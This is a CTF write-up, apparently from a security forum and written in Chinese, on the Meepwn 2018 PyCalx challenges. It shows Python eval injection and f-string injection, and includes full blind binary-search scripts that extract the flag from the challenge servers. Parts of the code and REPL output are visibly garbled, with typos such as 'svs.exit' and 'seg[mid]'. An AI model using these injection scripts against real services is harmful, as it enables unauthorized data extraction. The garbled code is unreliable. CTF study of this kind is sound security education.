Meepwn2018: PyCalx&PyCalx2——Python3的f-string与eval注入

findneo / 2018-07-18 19:16:10 / 浏览数 6809 安全技术 CTF 顶(0) 踩(0)

PyCalx

This code is supposed to be unexploitable:/ another pyjail?

[Source]

Try this or this

Notice: The flag may contain non alphabetic characters (but still printable)

PyCalx

```
Value 1 (Example: 1 abc)

Operator (Example: + - * ** / // == != )

Value 2 (Example: 1 abc)

EVAL
```

Source

```
>>>> print(123==123)
True
>>>
```

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本题是由Python的 eval() 函数参数可控且直接拼接引发的注入,采用二分法盲注。

```
server.py源码如下:
```

```
#!/usr/bin/env python
import cgi
import sys
from html import escape
FLAG = open('/var/www/flag', 'r').read()
OK_200 = "some HTML code"
print(OK_200)
arguments = cgi.FieldStorage()
if 'source' in arguments:
   source = arguments['source'].value
else:
   source = 0
if source == '1':
   print('' + escape(str(open(__file__, 'r').read())) + '')
if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:
   def get_value(val):
       val = str(val)[:64]
       if str(val).isdigit(): return int(val)
       blacklist = ['(', ')', '[', ']', '\'',
                   '"'] # I don't like tuple, list and dict.
       if val == '' or [c for c in blacklist if c in val] != []:
          print('<center>Invalid value</center>')
          svs.exit(0)
       return val
   def get_op(val):
       val = str(val)[:2]
       list_ops = ['+', '-', '/', '*', '=', '!']
       if val == '' or val[0] not in list_ops:
```

```
print('<center>Invalid op</center>')
        svs.exit(0)
    return val
op = get_op(arguments['op'].value)
value1 = get value(arguments['value1'].value)
value2 = get_value(arguments['value2'].value)
if str(value1).isdigit() ^ str(value2).isdigit():
    print('<center>Types of the values don\'t match</center>')
    svs.exit(0)
calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
print(
    '<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8">'
print('>>>> print(' + escape(calc_eval) + ')')
try:
    result = str(eval(calc_eval))
    if result.isdigit() or result == 'True' or result == 'False':
       print(result)
    else:
       print(
            "Invalid"
        ) \mbox{\# Sorry we don't support output as a string due to security issue.}
except:
    print("Invalid")
print('>>> </div></div>')
```

大意如下:

- cgi会处理source, value1, value2, op四个参数。
- 如果source=1则打印源代码。
- value1, value2, op三个参数都有值时进一步处理。
 - value1, value2至少1个字符,至多64个,且不包含黑名单()[]'"里的字符。
 - op至少1个字符,至多2个,且首字符必须在白名单+-*/=!里。
 - value1,value2要么都是只包含[0-9],要么都包含其他字符。

执行str(eval(str(repr(value1)) + str(op) + str(repr(value2)))) , 且只有结果是bool值或只包含[0-9] 时才会输出。

• 注:repr返回对象的可打印形式,和反引号包裹效果一致,对大多数类型,他会返有一个字符串,使其可以作为代码直接传入eval执行。

解题思路:op 允许两个字符,且第二个字符是任意的,那么如果是一个单引号,就能混淆代码和数据,起到类似SQL注入的效果。

```
>>> print(str(repr("a"))+str("+")+str(repr("b")))
>>> print(str(repr("a"))+str("+'")+str(repr("< b#")))
解题脚本:
import requests, re
def calc(v1, v2, op, s):
  u = "http://178.128.96.203/cgi-bin/server.py?"
   payload = dict(value1=v1, value2=v2, op=op, source=s)
   # print payload
   r = requests.get(u, params=payload)
   # print r.url
   res = re.findall("<pre>\n>>>>([\s\S]*)\n>>> <\/pre>",
                   r.content)[0].split('\n')[1]
   assert (res != 'Invalid')
   return res == 'True'
   # print r.content
def check(mid):
   s = flag + chr(mid)
   return calc(v1, v2, op, s)
def bin_search(seq=xrange(0x20, 0x80), lo=0, hi=None):
```

```
assert (lo >= 0)
if hi == None: hi = len(seq)
while lo < hi:
    mid = (lo + hi) // 2
    # print lo, mid, hi, "\t",
    if check(seq[mid]): hi = mid
    else: lo = mid + 1
return seq[lo]

flag = ''
v1, v2, op, s = 'x', "+FLAG<valuel+source#", "+'", ''
while (1):
    flag += chr(bin_search() - 1)
    print flag
# MeePwnCTF{python3.6666666666666([_((you_passed_this?]]]]]])}</pre>
```

PyCalx2

You should solve PyCalx first.

http://206.189.223.3/cgi-bin/server.py?source=1



server.py 只改动了一行代码,将op = get_op(arguments['op'].value)变成了 op = get_op(get_value(arguments['op'].value)), 也就是说将op 参数也进行了黑名单过滤,于是 op 的第二个字符就不能是单引号,第一题的方法也就失效了。

结合题目提示和第一题的flag去寻找Python3.6的新特性,用到了这个 f-string ,详见<u>PEP 498 -- Literal String Interpolation</u>。简言之就是可以在字符串中方便地直接插入表达式,以f 开头,表达式插在大括号 $\{\}$ 里,在运行时表达式会被计算并替换成对应的值。

本题主要是利用这个特性在字符串里插入比较的表达式,剩下的就和上题一样了。插法不尽相同:

```
>>> str(repr('T'))+str('+f')+str(repr('ru{FLAG<source or 14:x}')) # 14

"'T'+f'ru{FLAG<source or 14:x}'"

>>> eval(str(repr('T'))+str('+f')+str(repr('ru{1 or 14:x}')))

'Tru1' # Invalid

>>> eval(str(repr('T'))+str('+f')+str(repr('ru{0 or 14:x}')))

'True'

>>> str(repr('Tru'))+str('+f')+str(repr('{sys.exit.__name__:{FLAG<source:1}.1}'))

"'Tru'+f'{sys.exit.__name__:{FLAG<source:1}.1}'"

# {FLAG<source:1} Iname__:{FLAG<source:1}.1}'"

# {FLAG<source:1} Iname__: exit'Iname_::{frLAG<source:1}.1}'')

>>> eval(str(repr('Tru'))+str('+f')+str(repr('{sys.exit.__name__::{1:1}.1}')))
```

```
'True'
>>> eval(str(repr('Tru'))+str('+f')+str(repr('{sys.exit.__name__:{0:1}.1}')))
#IIIIIIInvalid
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
ValueError: '=' alignment not allowed in string format specifier
解题脚本:
import requests, re
def calc(v1, v2, op, s):
  u = "http://206.189.223.3/cgi-bin/server.py?"
  payload = dict(value1=v1, value2=v2, op=op, source=s)
  r = requests.get(u, params=payload)
  res = re.findall("\n>>>([\s\S]*)\n>>> <\/pre>",
               r.content)[0].split('\n')[1]
  return res == 'Invalid'
def check(mid):
  s = flag + chr(mid)
  return calc(v1, v2, op, s)
def bin_search(seq=xrange(0x20, 0x80), lo=0, hi=None):
  assert (lo >= 0)
  if hi == None: hi = len(seq)
  while lo < hi:
     mid = (lo + hi) // 2
     if check(seg[mid]): hi = mid
     else: lo = mid + 1
  return seg[lo]
flag = ''
v1, op, v2, s = 'T', "+f", "ru\{FLAG<source or 14:x\}", 'a'
while (1):
  flag += chr(bin_search() - 1)
  print flag
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